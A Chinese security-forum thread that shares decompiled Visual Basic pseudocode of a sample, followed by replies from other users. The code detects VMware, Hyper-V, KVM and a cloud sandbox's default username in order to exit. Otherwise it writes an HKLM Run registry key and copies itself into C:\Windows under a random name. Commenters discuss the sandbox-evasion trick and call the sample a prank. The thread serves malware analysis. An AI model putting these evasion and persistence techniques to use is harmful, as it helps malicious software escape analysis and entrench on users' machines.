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[病毒样本] 虚拟机测试不了的病毒

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wowocock
发表于 2019-4-1 10:11:38 | 显示全部楼层
Private Sub Form_Load() '402050
  Dim var_84 As App
  Dim var_88 As App
  Dim var_8C As App
  loc_0040217D: var_1E4 = "Win32_ComputerSystem"
  loc_004021CC: var_BC = GetObject("winmgmts:", var_AC)
  loc_00402215: var_eax = %dl
  loc_0040221F: Set var_24 = %dl
  loc_0040226B: call For Each(var_23C, var_244, var_240, var_238, var_34, var_24, 0, esi, undef 'Ignore this '__vbaFreeVarList)
  loc_00402277:
  loc_00402279: If For Each(var_23C, var_244, var_240, var_238, var_34, var_24, 0, esi, undef 'Ignore this '__vbaFreeVarList) = 0 Then GoTo loc_00402ECC
  loc_004022A2: var_1C4 = "计算机名称: "
  loc_004022AC: var_1D4 = "vbCrLf"
  loc_004022CB: var_eax = %dl
  loc_00402335: var_1C4 = "状态: "
  loc_0040233F: var_1D4 = "vbCrLf"
  loc_0040235E: var_eax = %dl
  loc_004023C8: var_1C4 = "类型: "
  loc_004023D2: var_1D4 = "vbCrLf"
  loc_004023F1: var_eax = %dl
  loc_0040245B: var_1C4 = "生产厂家: "
  loc_00402465: var_1D4 = "vbCrLf"
  loc_00402484: var_eax = %dl
  loc_004024EE: var_1C4 = "型号: "
  loc_004024F8: var_1D4 = "vbCrLf"
  loc_00402517: var_eax = %dl
  loc_00402524: var_BC = var_44 & "计算机名称: " & %dl & "vbCrLf" & "状态: " & %dl & "vbCrLf" & "类型: " & %dl & "vbCrLf" & "生产厂家: " & %dl & "vbCrLf" & "型号: " & %dl
  loc_00402587: var_1C4 = "内存: ~"
  loc_004025A5: var_1E4 = "Gib"
  loc_004025AF: var_1F4 = "vbCrLf"
  loc_004025CE: var_eax = %dl
  loc_00402601: var_DC = var_BC & "vbCrLf" & "内存: ~" & %dl / 1073741824 & "Gib"
  loc_00402665: var_1C4 = "域: "
  loc_0040266F: var_1D4 = "vbCrLf"
  loc_0040268E: var_eax = %dl
  loc_004026DA: var_1C4 = "当前用户: "
  loc_004026EA: var_1D4 = "vbCrLf"
  loc_00402721: var_eax = %dl
  loc_0040278B: var_1C4 = "启动状态"
  loc_00402795: var_1D4 = "vbCrLf"
  loc_004027B4: var_eax = %dl
  loc_0040281E: var_1C4 = "该计算机属于"
  loc_00402828: var_1D4 = "vbCrLf"
  loc_00402847: var_eax = %dl
  loc_004028B1: var_1C4 = "系统类型"
  loc_004028BB: var_1D4 = "vbCrLf"
  loc_004028C5: var_9C = var_DC & "vbCrLf" & "域: " & %dl & "vbCrLf" & "当前用户: " & %dl & "vbCrLf" & "启动状态" & %dl & "vbCrLf" & "该计算机属于" & %dl & "vbCrLf" & "系统类型"
  loc_004028DA: var_eax = %dl
  loc_00402944: var_1C4 = "计算机类类型"
  loc_0040294E: var_1D4 = "vbCrLf"
  loc_0040296D: var_eax = %dl
  loc_00402992: var_44 = var_9C & %dl & "vbCrLf" & "计算机类类型" & %dl & "vbCrLf" & "计算机类类型" & %dl & "vbCrLf" & "计算机类类型" & %dl & "vbCrLf"
  loc_004029DA: var_1C4 = "Red Hat"
  loc_004029E4: var_1D4 = "KVM"
  loc_004029EE: var_1E4 = "vbccsb"
  loc_004029F8: var_eax = %dl
  loc_00402A25: var_eax = %dl
  loc_00402A60: var_eax = %dl
  loc_00402A95: var_208 = CBool((%dl = "Red Hat") And (%dl = "KVM") And (%dl = "vbccsb"))
  loc_00402ABA: If var_208 = 0 Then GoTo loc_00402B61
  loc_00402B0E: var_9C = "你竟然要用微步测试我???"
  loc_00402B5B: End
  loc_00402B61: 'Referenced from: 00402ABA
  loc_00402B73: var_eax = %dl
  loc_00402B87: var_eax = %dl
  loc_00402B9B: var_eax = %dl
  loc_00402BAF: var_eax = %dl
  loc_00402BCF: var_6C = CStr(var_9C)
  loc_00402BF7: var_A4 = Replace(var_6C, "Virtual", vbNullString, 1, -1, 0)
  loc_00402C07: var_70 = CStr(var_DC)
  loc_00402C18: var_E4 = Replace(var_70, "VMware", vbNullString, 1, -1, 0)
  loc_00402C3F: var_74 = CStr(var_12C)
  loc_00402C52: var_134 = Replace(var_74, "Hyper-V", vbNullString, 1, -1, 0)
  loc_00402C77: var_78 = CStr(var_17C)
  loc_00402C8A: var_184 = Replace(var_78, "Hyper-V", vbNullString, 1, -1, 0)
  loc_00402CAD: var_eax = %dl
  loc_00402CBA: var_ret_7 = (Replace(var_6C, "Virtual", vbNullString, 1, -1, 0) <> %dl)
  loc_00402CDA: var_eax = %dl
  loc_00402CE7: var_ret_8 = (Replace(var_70, "VMware", vbNullString, 1, -1, 0) <> %dl)
  loc_00402CF5: call Or(var_11C, var_ret_8, var_ret_7)
  loc_00402D15: var_eax = %dl
  loc_00402D22: var_ret_9 = (Replace(var_74, "Hyper-V", vbNullString, 1, -1, 0) <> %dl)
  loc_00402D30: call Or(var_16C, var_ret_9, Or(var_11C, var_ret_8, var_ret_7))
  loc_00402D50: var_eax = %dl
  loc_00402D5D: var_ret_A = (Replace(var_78, "Hyper-V", vbNullString, 1, -1, 0) <> %dl)
  loc_00402D6B: call Or(var_1BC, var_ret_A, Or(var_16C, var_ret_9, Or(var_11C, var_ret_8, var_ret_7)))
  loc_00402D7B: var_208 = CBool(Or(var_1BC, var_ret_A, Or(var_16C, var_ret_9, Or(var_11C, var_ret_8, var_ret_7))))
  loc_00402DFA: If var_208 = 0 Then GoTo loc_00402EA1
  loc_00402E4E: var_9C = "你竟然要用虚拟机测试我???"
  loc_00402E9B: End
  loc_00402EA1: 'Referenced from: 00402DFA
  loc_00402EC1: Next var_240
  loc_00402EC7: GoTo loc_00402277
  loc_00402ECC: 'Referenced from: 00402279
  loc_00402EE7: Randomize(10)
  loc_00402F18: Set var_68 = CreateObject("wscript.shell", 0)
  loc_00402F47: var_84 = Global.App
  loc_00402F6E: var_6C = Global.EXEName
  loc_00402F97: var_94 = "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & var_6C
  loc_00402FD0: var_88 = Global.App
  loc_00402FF7: var_70 = Global.Path
  loc_00403038: var_8C = Global.App
  loc_0040305F: var_74 = Global.EXEName
  loc_004030BD: var_A4 = var_70 & var_00401D84 & var_74 & ".exe"
  loc_00403111: var_68 = Me.regwrite
  loc_0040316E: var_1E4 = "C:\Windows\"
  loc_004031F7: var_54 = "C:\Windows\" + Str(Int((Rnd(10) * 100000)))
  loc_00403242: var_84 = Global.App
  loc_00403269: var_6C = Global.Path
  loc_004032AA: var_88 = Global.App
  loc_004032D1: var_70 = Global.EXEName
  loc_00403328: FileCopy var_6C & var_00401D84 & var_70 & ".exe", CStr(var_54)
  loc_00403382: GoTo loc_00403455
  loc_00403454: Exit Sub
  loc_00403455: 'Referenced from: 00403382
  loc_00403499: Exit Sub
End Sub

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参与人数 1人气 +2 收起 理由
落华无痕 + 2 这人真坏。

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落华无痕
发表于 2019-4-1 22:46:55 | 显示全部楼层
早就觉得微步那个万年不变的用户名有问题,没想到还真有人针对这个。
www-tekeze
发表于 2019-4-1 22:51:53 | 显示全部楼层
落华无痕 发表于 2019-4-1 22:46
早就觉得微步那个万年不变的用户名有问题,没想到还真有人针对这个。

也针对微步云沙箱? 从楼上大佬给的看,会检测VM、VB、H-V,但影子里也运行不了。。


落华无痕
发表于 2019-4-2 12:38:52 | 显示全部楼层
www-tekeze 发表于 2019-4-1 22:51
也针对微步云沙箱? 从楼上大佬给的看,会检测VM、VB、H-V,但影子里也运行不了。。

看代码就知道了。另外二楼的连接,看运行图片。
www-tekeze
发表于 2019-4-2 12:41:51 | 显示全部楼层
本帖最后由 www-tekeze 于 2019-4-2 12:43 编辑
落华无痕 发表于 2019-4-2 12:38
看代码就知道了。另外二楼的连接,看运行图片。

代码哪里看出来反影子呢。。   图片11、12楼我都给了。


落华无痕
发表于 2019-4-2 20:28:47 | 显示全部楼层
www-tekeze 发表于 2019-4-2 12:41
代码哪里看出来反影子呢。。   图片11、12楼我都给了。

傻啊,哪里是反影子。是反所有机器,实机运行也这样提示。
wwwmjrcom
发表于 2019-4-2 21:39:17 | 显示全部楼层
卡巴扫描miss
2512975065
发表于 2019-4-2 23:50:40 来自手机 | 显示全部楼层
一个恶搞程序,嘿嘿
lovelovelove
发表于 2019-5-10 20:08:14 | 显示全部楼层
不算病毒,只是恶搞工具而已
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